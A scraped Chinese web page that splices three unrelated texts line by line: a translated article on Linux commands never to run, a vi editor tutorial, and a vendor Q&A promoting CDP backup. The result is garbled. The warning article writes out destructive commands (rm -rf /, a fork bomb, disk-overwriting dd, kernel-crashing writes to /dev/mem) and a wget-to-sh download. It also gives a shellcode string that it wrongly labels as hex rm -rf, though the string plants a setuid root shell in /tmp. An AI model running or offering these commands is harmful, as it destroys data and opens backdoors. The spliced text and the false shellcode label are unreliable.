毫无要用的,CDP本事助你轻巧远远地离开备份复苏难点

带你掌握 VI 编辑器的使用方法和技巧,vi使用方法

绝不要用的 Linux 命令! | Linux 中国,linux中国

只需要一个愚蠢的举动,你甚至可以毁掉一个价值数十亿美元的企业,就像 没有打补丁的
Apache Struts 一样。– Steven Vaughan-nichols

本文导航◈ rm -rf /11%◈ fork 炸弹39%◈ 垃圾数据重写硬盘47%◈ 擦除硬盘!54%◈ /dev/null
的损失63%◈ 格式化错了驱动器69%◈ 内核崩溃74%◈ 提防未知脚本80%◈ 结束89%编译自 |  
 作者 | Steven Vaughan-nichols
 译者 | CYLeft

当然,除非你想干掉你的机器。

蜘蛛侠有这样的一句信条,“权力越大,责任越大。” 对于 Linux
系统管理员们来说,这也是一种应当采用的明智态度。

不,真的,真心感谢 DevOps 的沟通协作和云编排技术,让一个 Linux
管理员不仅能掌控一台服务器,甚者能控制成千上万台服务器实例。只需要一个愚蠢的举动,你甚至可以毁掉一个价值数十亿美元的企业,就像 没有打补丁的
Apache Struts[1] 一样。

如果不能跑在安全补丁之前,这将会带来一个远超过系统管理员工资水平的战略性业务问题。这里就有一些足以搞死
Linux
服务器的简单方式掌握在系统管理员手中。很容易想象到,只有新手才会犯这些错误,但是,我们需要了解的更多。

下列是一些著名的命令,任何拥有 root
权限的用户都能借助它们对服务器造成严重破坏。

警告:千万不要在生产环境运行这些命令,它们会危害你的系统。不要在家里尝试,也不要在办公室里测试。

那么,继续!

rm -rf /

想要干脆利落的毁掉一个 Linux
系统吗?你无法超越这个被誉为“史上最糟糕”的经典,它能删除一切,我说的是,能删除所有存在你系统里的内容!

和大多数 Linux 命令[2]一样,rm 这个核心命令使用起来非常方便。即便是最顽固的文件它也能帮你删除。结合起后面两个参数理解 rm 指令时,你很容易陷入大麻烦:-r,强制递归删除所有子目录,-f,无需确认,强制删除所有只读文件。如果你在根目录运行这条指令,将清除整个驱动器上的所有数据。

如果你真这么干了,想想该怎么和老板解释吧!

现在,也许你会想,“我永远不会犯这么愚蠢的错误。”朋友,骄兵必败。吸取一下经验教训吧, 这个警示故事来自于一个系统管理员在
Reddit 上的帖子[3]:

我在 IT 界工作了很多年,但是今天,作为 Linux 系统 root
用户,我在错误的系统路径运行了 rm- f

长话短说,那天,我需要复制一大堆目录从一个目录到另一个目录,和你一样,我敲了几个 cp -R 去复制我需要的内容。

以我的聪明劲,我持续敲着上箭头,在命令记录中寻找可以复制使用的类似命令名,但是它们混杂在一大堆其他命令当中。

不管怎么说,我一边在 Skype、Slack 和 WhatsApp 的网页上打字,一边又和
Sage
通电话,注意力严重分散,我在敲入 rm -R ./videodir/* ../companyvideodirwith651vidsin/ 这样一条命令时神游物外。

然后,当文件化为乌有时其中也包括了公司的视频。幸运的是,在疯狂敲击 control -C后,在删除太多文件之前,系统管理员中止了这条命令。但这是对你的警告:任何人都可能犯这样的错误。

事实上,绝大部分现代操作系统都会在你犯这些错误之前,用一段醒目的文字警告你。然而,如果你在连续敲击键盘时忙碌或是分心,你将会把你的系统键入一个黑洞。(LCTT
译注:幸运的是,可能在根目录下删除整个文件系统的人太多了额,后来 rm 默认禁止删除根目录,除非——你手动加上 --no-preserve-root 参数!)

这里有一些更为隐蔽的方式调用 rm -rf。思考一下下面的代码:

  1. char esp[] __attribute__ ((section(“.text”))) = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

  2. “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

  3. “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

  4. “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

  5. “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

  6. “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

  7. “\x6e\x2f\x73\x68\x00\x2d\x63\x00”

  8. “cp -p /bin/sh /tmp/.beyond; chmod 4755

  9. /tmp/.beyond;”;

这是什么?这是 16
进制的 rm -rf 写法。在你不明确这段代码之前,请千万不要运行这条命令!

fork 炸弹

既然我们讨论的都是些奇怪的代码,不妨思考一下这一行:

  1. :(){ :|: & };:

对你来说,这可能看起来有些神秘,但是我看来,它就是那个臭名昭著的 Bash
fork 炸弹[4]。它会反复启动新的 Bash
shell,直到你的系统资源消耗殆尽、系统崩溃。

不应该在最新的 Linux
系统上做这些操作。注意,我说的是不应该。我没有说不能。正确设置用户权限,Linux
系统能够阻止这些破坏性行为。通常用户仅限于分配使用机器可用内存。但是如果作为
root 用户的你运行了这行命令(或者它的变体 Bash fork 炸弹变体[5]),你仍然可以反复虐待服务器,直到系统重启了。

垃圾数据重写硬盘

有时候你想彻底清除硬盘的数据,你应该使用 Darik’s Boot and Nuke
(DBAN)[6] 工具去完成这项工作。

但是如果仅仅想让你的存储器乱套,那很简单:

  1. 任意命令 > /dev/hda

我说的“任意命令”,是指有输出的任意命令,比如:

  1. ls -la > /dev/hda

……将目录列表通过管道送到你的主存储设备。给我 root
权限和足够的时间,就能覆盖整个硬盘设备。这是让你开始盲目恐慌的一天的好办法,或者,可以把它变成 职业禁入方式[7]。

擦除硬盘!

另一个一直受欢迎的擦除硬盘的方式是执行:

  1. dd if=/dev/zero of=/dev/hda

你可以用这条命令写入数据到你的硬盘设备。dd 命令可以从特殊文件中获取无尽个 0 字符,并且将它全部写入你的设备。

可能现在听起来 /dev/zero 是个愚蠢的想法,但是它真的管用。比如说,你可以使用它来 用零清除未使用的分区空间[8]。它能使分区的镜像压缩到更小,以便于数据传输或是存档使用。

在另一方面,它和 dd if=/dev/random of=/dev/hda 相近,除了能毁掉你的一天之外,不是一个好事。如果你运行了这个指令(千万不要),你的存储器会被随机数据覆盖。作为一个隐藏你要接管办公室咖啡机的秘密计划的半吊子方法,倒是不错,但是你可以使用
DBAN 工具去更好的完成你的任务。

/dev/null 的损失

也许因为数据珍贵,我们对备份的数据没有什么信心,确实很多“永远不要这样做!”的命令都会导致硬盘或其它存储仓库的数据被擦除。一个鲜明的实例:另一个毁灭你的存储设备的方式,运行 mv / /dev/null 或者 >mv /dev/null

在前一种情况下,你作为 root
用户,把整个磁盘数据都送进这个如饥似渴的 /dev/null。在后者,你仅仅把家目录喂给这个空空如也的仓库。任何一种情况下,除非还原备份,你再也不会再看见你的数据了。

见鬼,难道会计真的不需要最新的应收账款文件了吗?

格式化错了驱动器

有时候你需要使用这一条命令格式化驱动器:

  1. mkfs.ext3 /dev/hda

……它会用 ext3
文件系统格式化主硬盘驱动器。别,请等一下!你正在格式化你的主驱动器!难道你不需要用它?

当你要格式化驱动器的时候,请务必加倍确认你正在格式化的分区是真的需要格式化的那块而不是你正在使用的那块,无论它们是
SSD、闪存盘还是其他氧化铁磁盘。

内核崩溃

一些 Linux
命令不能让你的机器长时间停机。然而,一些命令却可以导致内核崩溃。这些错误通常是由硬件问题引起的,但你也可以自己搞崩。

当你遭遇内核崩溃,重新启动系统你才可以恢复工作。在一些情况下,这只是有点小烦;在另一些情况下,这是一个大问题,比如说,高负荷运作下的生产环境。下面有一个案例:

  1. dd if=/dev/random of=/dev/port

  2. echo 1 > /proc/sys/kernel/panic

  3. cat /dev/port

  4. cat /dev/zero > /dev/mem

这些都会导致内核崩溃。

绝不要运行你并不了解它功能的命令,它们都在提醒我…

提防未知脚本

年轻或是懒惰的系统管理员喜欢复制别人的脚本。何必重新重复造轮子?所以,他们找到了一个很酷的脚本,承诺会自动检查所有备份。他们就这样运行它:

  1. wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh

这会下载该脚本,并将它送到 shell
上运行。很明确,别大惊小怪,对吧?不对。这个脚本也许已经被恶意软件感染。当然,一般来说
Linux 比大多数操作系统都要安全,但是如果你以 root
用户运行未知代码,什么都可能会发生。这种危害不仅在恶意软件上,脚本作者的愚蠢本身同样有害。你甚至可能会因为一个未调试的代码吃上一堑——由于你没有花时间去读它。

你认为你不会干那样的事?告诉我,所有那些 你在 Docker
里面运行的容器镜像在干什么[9]?你知道它们到底在运行着什么吗?我见过太多的没有验证容器里面装着什么就运行它们的系统管理员。请不要和他们一样。

结束

这些故事背后的道理很简单。在你的 Linux
系统里,你有巨大的控制权。你几乎可以让你的服务器做任何事。但是在你使用你的权限的同时,请务必做认真的确认。如果你没有,你毁灭的不只是你的服务器,而是你的工作甚至是你的公司。像蜘蛛侠一样,负责任的使用你的权限。

我有没有遗漏什么?在 @sjvn[10] 或 @enterprisenxt[11] 上告诉我哪些 Linux
命令在你的“绝不要运行![12]”的清单上。


via: 

作者:Steven Vaughan-Nichols[14] 译者:CYLeft 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

LCTT 译者cyleft ?共计翻译:1 篇贡献时间:4 天

推荐文章

< 左右滑动查看相关文章 >

点击图片、输入文章 ID 或识别二维码直达

原文链接请访问“原文链接”获得可点击的文内链接、全尺寸原图和相关文章。

无论是大型企业还是中小型企业,对数据的依赖程度正日益加深。出于数据保护的目的,许多企业已经实施了最基本的数据备份,其中磁带备份的覆盖面最广。但是,磁带备份能完全满足用户对备份和恢复的需求吗?经过权威机构对真实用户做的回访数据表明,在实际应用中,5%~20%的备份作业都以失败而告终。更让人担忧的是,当备份作业失败后,用户不能及时获知,数据的损失在所难免。种种‘失败’案例的发生,使传统数据保护技术不得不走上变革的道路!

**

Linux
系统下的文本编辑器有很多种,包括图形模式下的gedit、kwrite等,文本模式下的vi、vim(vi的增强版本)、emacs等。其中vi和emacs是Linux系统中最常用的两个编辑器。本节主要介绍vi编辑器,主要内容包括:

  • vi编辑器的基本使用,包括vi的启动与退出、工作模式的切换、光标的移动、屏幕的滚动、文本的插入与删除、复制与粘帖、查找与替换等。

  • vi编辑器之程序编辑,包括程序设计中光标的跳转、关键字的补全,以及代码的缩进等。

希望通过本节的学习,能够基本掌握vi编辑器的使用方法和相关技巧,能够独立完成程序源代码的编辑和修改。

数据备份技术经过10年的发展,已经步入一个崭新的发展阶段,数据复制、快照、CDP等技术受到更多人的关注。几年前,随着磁盘备份技术的兴起,磁带市场开始出现明显萎缩。如今,以CDP为代表的新一代数据保护技术的出现,更将传统的备份软件市场推向了风口浪尖!

 1、vi编辑器的基本使用 

技术门诊是BKJIA社区品牌栏目,每周邀请一位客座专家,为广大技术网友解答疑问。从热门技术到前沿知识,从技术答疑到职业规划。每期一个主题,站在最新最热的技术前沿为你引航。

vi编辑器是Linux系统下的标准编辑器。虽然命令繁多复杂,并且绝大多数功能的输入都依靠键盘来完成,但如果我们熟悉掌握之后就会发现vi编辑器的功能、效率等都是其他图形界面编辑器无法比拟的,下面让我们来揭开它的神秘面纱。

本期BKJIA门诊特邀请资深技术经理谢剑锋来和我们一起交流一下新一代数据保护技术CDP如何使得用户远离备份恢复难题。

1.1 vi的启动

姓名:谢剑锋

在终端输入命令vi,后面接着输入想要创建或编辑的文件名,即可进入vi编辑器。

$ vi example.c

命令的结果如图1-1所示:

图1-1 vi编辑器新建文件

如果vi命令后面所输入的文件不存在,则系统会自动创建一个以该字符串命名的文本文件。如上图,光标停留在左上方,由于新建文件中没有任何内容,所以每一行的开头都为波浪线。窗口的底部为状态栏,显示当前编辑文件的相关信息。

打开文件后,光标停留在屏幕左上方。状态栏显示了当前编辑文件的文件名、行数以及字符数等信息,如图1-2所示。

vi命令打开文件时还可以带参数,这些参数用于修正vi的打开方式,主要包括如下:

  • -R 以只读方式打开文件。

如果只需阅读文件内容而不想对其进行修改时,可以使用这个参数,以防对文件的误操作,如下:

$ vi –R example.c

运行命令如图1-3所示。

 

图1-2 vi编辑器打开文件  

                 

图1-3 以只读方式打开文件

  • -x 对文件进行加密。

该参数可以在保存文件时对其进行加密,以后每次打开都需要输入密钥,否则将出现乱码。

如果在打开vi时,没有给出文件名,也没有给出任何参数,即:

$ vi

命令结果如图1-4所示:

图1-4 直接打开vi编辑器

此时,vi编辑器中所有行都为空,窗口中央给出的是vi编辑器的使用帮助,当用户在vi中输入文本或执行命令时,该帮助信息会自动消失。另外,如果以这种方式打开vi编辑器,在保存文件时,需要指定文件名。

图片 1 

1.2 vi的工作模式

vi有3种工作模式:普通模式、编辑模式和命令模式,这3种模式之间可以相互切换,如图1-5所示。

图1-5 vi编辑器的工作模式

1、普通模式

由Shell进入vi编辑器时,首先进入普通模式。在普通模式下,从键盘输入任何字符都被当作命令来解释。普通模式下没有任何提示符,当输入命令时立即执行,不需要回车,而且输入的字符不会在屏幕上显示出来。

普通模式下可以输入命令进行光标的移动,字符、单词、行的复制、粘帖以及删除等操作。

擅长领域:数据保护,存储
美国飞康软件公司(FalconStor)中国区高级技术经理。主要负责飞康数据保护解决方案的方案建议,规划及实施工作,主要客户涉及电信、能源、港口、政府、教育、军队等。专注于存储技术工作,在存储领域积累了相当丰富的经验与技术,以及网络存储产业知识。

2、编辑模式

编辑模式主要用于文本的输入。在该模式下,用户输入的任何字符都被作为文件的内容保存起来,并在屏幕上显示出来。在普通模式下,输入a(附加命令)、c(修改命令)、i(插入命令)、o(另起新行)、r(取代命令)以及s(替换命令)都将进入编辑模式,此时vi窗口的最后一行会显示“插入”。输入i命令时屏幕上并无变化,但是通过执行i命令,编辑器由普通模式切换为编辑模式,如图1-6所示。

图1-6 编辑器由普通模式切换为编辑模式

接着输入x=,屏幕显示如图1-7所示。

要返回到普通模式,只需按键Esc即可。

图1-7 在编辑模式下输入字符

Q:请问谢老师,CDP只是数据保护技术中的一种吧?那与其他的备份恢复技术有什么不同?什么环境下选择CDP比较好?

没错,
CDP只是其中的一种,除了CDP之外,还有备份系统、容灾系统等,CDP的概念产生,
是因为备份系统、容灾系统等的数据何护手段等发展跟不上我们对数据保护的期望,才产生了一个变革的CDP数据保护技术,以达到或满足我们对数据保护的期望,因此,对之前传统数据保护手段不太满足的用户都可以推荐使用CDP技术进行数据保护。

3、命令模式

Q:您好!谢老师! 请问CDP
与目前多为纯软件的同类产品相比较如微软DPM与Symantec Backup Exec
10d),它的特点是什么,而在运行架构上又有什么不同呢?

咱们要从数据保护的发展说起,
最初对于数据保护来讲,采用的最简单的方式就是备份软件,备份软件一天一备的方式不能满足咱们的需求,因此增加了所谓的连续备份功能,尽管增加连续备份的功能,仍然脱离不了备份软件原有的架构。

命令模式下,用户可以对文件进行一些附加处理。尽管普通模式下的命令可以完成很多功能,但要执行一些如字符串查找、替换、显示行号等操作还是必须要进入命令模式的。

在90年代末,基于磁盘快照技术似乎可以解决备份窗口的问题,但是,在实现了快速备份后却没有实现快速恢复的方法。DPM能实现快速恢复吗?
因此,我们需要即能快速简单的实时备份数据,又能快速高效的恢复数据,这就是CDP的概念。

Q:请问谢老师,CDP最多支持多少个快照保护?主机服务灾难恢复的速度又如何?安装与操作有何明显的优势?

在普通模式下输入冒号即可进入命令模式,此时vi窗口的状态行会显示出冒号,等待用户输入命令。用户输入完成后,按回车执行,之后vi编辑器又返回到普通模式下。

CDP最多支持255份快照保护;CDP的安装相比较传统备份和容灾而言是非常简单的,其管理、维护都是基于图形化界面操作,维护人员只需要点击鼠标就可以实现操作目的。在进行容灾演练或者数据恢复时,CDP不仅操作简单,恢复速度也非常快。您所指的“主机服务灾难恢复”是不是系统的灾难恢复?飞康CDP提供多种恢复方式,SAN-booting
,P2V以及recovery-CD都能快速的恢复系统。飞康网站

Q:请问谢老师:有时候开玩笑说数据备份就如同买“保险”,不知道CDP数据保护技术这份“保险”相对于传统的数据复制、快照技术有什么优势,独门绝招是什么?

1.3 文件的保存和退出

我们买“保险”,除了保障外,还需要“理陪”快,流程简单,因此对于CDP来讲,咱们可以很方便的实时“投保”,
当需要的时候,可以快速即时的“理陪”到我们所需的数据。

Q:目前市场提供的CDP专用管理器产品有几种?若要在iSCSI环境下使用由CDP
专用管理器开机的灾难恢复功能,需另购iSCSI
HBA卡吗?另外,针对中小型企业用户,有哪款机型推荐?

当编辑完毕,需要退出vi编辑器时,可以在命令模式下使用命令退出vi,返回到Shell。

CDP技术作为新一代数据备份容灾保护技术已经被业界和广大用户认可,目前市场上有几种类似的产品,但是飞康CDP成功案例最多也是保护机制最为健全的解决方案,在全球飞康CDP用户中,飞康实现了救灾100%成功的可喜战绩。
目前的ISCSI解决方案中,已经很少采用ISCSI卡,这是目前行业的发展现象。飞康解决方案中也较少采用ISCSI卡。

Q:谢教授您好:学生在这里有一个问题想请教一下,请问在中型企业里,需要有多种备份数据的方式同时存在,例如有的地方用完全备份,有的地方用增量备份。那么这些在使用CDP备份技术的时候有什么很好的解决办法可以很好的与之前的备份数据融合呢?谢谢!

1、保存退出

我们的备份应该实时都有全备份,才符合我们的需求,增量备份的出现是解决备份窗口及备份容量的问题。

所以, CDP是实时备份,即时恢复,无备份窗口,
是一套全新的数据备份方式,并且每一个备份版本都是当前数据
的全备份,它完全可以将现有的备份软件融合在一起。CDP实现数据的快速备份与恢复,
传统备份软件可以进行数据归档。

保存退出是指将缓冲区中的内容写入文件,可以使用的命令为wq和x,如图1-8所示。

图1-8 vi编辑器的保存退出

Q:谢老师,能介绍一下我们这方面书吗?适合初学者的,谢谢!还有就是针对于一些中小企业,有哪些跟好的解决方案呢?能大概介绍一下吗?

建议您到飞康在BKJIA专门开设的飞康CDP训练营
,通过线上教程进一步了解飞康CDP技术。

2、强行退出

Q:有了CDP技术,还需要传统的磁带库等备份设备吗?

在法规遵从上来讲,当然需要磁带库等备份设备, 原因有二:
1.
CDP解决的是数据备份与恢复,对于数据长期归档而言,磁带库还是有优势的。

强行退出是指无条件退出,不把缓冲区中的内容写入文件,所使用的命令为q!。其中感叹号“!”表示不管文件是否被修改,放弃所修改的内容强行退出。
  1. 完全可以将CDP与磁带库整合在一起,实现数据的多重保护手段。
3、直接退出

Q:CDP通常应用在哪些领域?

飞康CDP没有应用的限制,只要用户有业务连续性保护的需求,有备份保护的需求有容灾保护的需求,飞康都提供解决方案。我们有个口号就是:全方位、无死角的实现用户的数据系统灾备保护。

直接退出和强行退出的区别是如果文件内容有修改则给出提示,如图1-9所示,否则直接退出。直接退出使用的命令为q。

图1-9 vi编辑器的直接退出

应该要注意一点,vi编辑器编辑文件时,用户的操作都是基于缓冲区中的副本进行的。如果退出时没有保存到磁盘,则缓冲区中的内容就会被丢失。所以,在退出vi编辑器时应该考虑是否需要保存所编辑的内容,然后再选择执行合适的退出命令。保存命令为w,如果打开vi时没有给出文件名,这时还需要给相互文件名。

1.4 光标移动

vi编辑器中的很多命令都是基于光标当前位置的,因此,如何移动光标定位到所需要的位置是一项十分重要的工作,下面进行详细介绍(如无特别说明,下面所讲的命令都是在普通模式下执行)。

Q:好啊!谢老师!CDP的常见应用有哪些呢?在企业的IT部门中,CDP是一种备份和归档的集成技术?

CDP应用没有限制,它可以满足用户的备份需求也可以满足用户的容灾需求。是一个集备份与容灾于一体的容灾技术。

1、向前移动字符

将光标向前移动一个字符可以使用命令为:l、Space键或方向键→。如果在命令前加一个数字n,就是将光标向前移动n个字符,例如:

#include<stdio.h>

假设当前光标在include中的字符c上,则使用5l后,光标将移动到e处。但是要注意:光标的移动不能超过当前行的末尾,当然如果给出的数字超过当前光标到行末尾的字符个数,那么也只能移到行尾。

Q:CDP目前是否已经可以扩展至Exchange平台?具体如何实现?对Windows服务器有什么新的要求吗?

2、向后移动字符

将光标向后移动一个字符可以使用命令为:h、空格键或方向键←。同上面类似,如果在命令前加一个数字n,就将光标向后移动n个字符,而且光标不能超出行首。

CDP在windows平台的保护解决方案非常完善,对于exchange应用,飞康CDP不仅能保护数据库,也能保护MSCS环境,还能恢复单个邮件。对于MSCS下exchange
,飞康CDP可以在10~15分钟就恢复整个环境的恢复包括MSCS环境),而且操作者可以不懂exchange。该解决方案已经在国内有多个成功案例。  

对于windows平台的数据保护,飞康通过DiskSafe及相应的数据库Agent来完成。可以实现实时保护和基于策略的保护。
  
Q:CDP是如何实现实时数据的准确备份的,她为什么不存在传统热备份中造成数据不一致的缺点

3、移到下一行

将光标移到下一行可以用的命令:+、Enter键、j、Ctrl+n或方向键↓。这些命令之间是有差别的,+和Enter键是将光标移到下一行的行首,其余命令仅是移到下一行,所在的列不变。如果下一行比当前光标所在位置还短,则下标到行尾。

CDP技术首先会在用户生产中心产生一份与生产卷一样大小的落地数据,在此基础上还有255份快照和“录像”,以及数据的异地复制,飞康有“磁盘差异对比技术”和数据库代理模块来保证CDP数据的一致性。并且使用CDP实现备份也不存在备份窗口的问题。

4、移到上一行

将光标上移一行可以使用的命令:-、k、Ctrl+p或方向键↑。同上面的命令类似,-命令将光标移到上一行行首,而另外3个保持在同一列。

Q:CDP是一种数据的连续时间点的保护技术,其实现原理是如何来实现,如何来满足RTO、RPO两种技术指标的业务需求?

5、移至行首

将光标移到当前行的行首使用的命令为0和^。这两个命令在使用时的差别在于命令0是将光标移到当前行的第一个字符,不管它是否为空白符,而命令^将光标移到当前行的第一个非空白符。

形象的比喻:飞康的journal“录像”)技术就像是一个录像机,它可以记录用户系统中的每一个I/O操作。在需要恢复时,可以通过该技术把时间点精确到1/100000秒。对于aix等uinx系统,生产系统数据磁盘故障时,用户的应用系统无识别,CDP可以顶替生产系统磁盘工作,RTO为0.

6、移至行尾

将光标移到当前行的行尾使用的命令为$。光标移至行尾后,停留在最后一个字符上,如果在该命令前加数字n,则光标将下移到n-1行的行尾。

飞康的RPO和RTO最小可以为0,满足用户RTO和RPO需求需要与用户具体的业务环境来分析设计。

发表评论

电子邮件地址不会被公开。 必填项已用*标注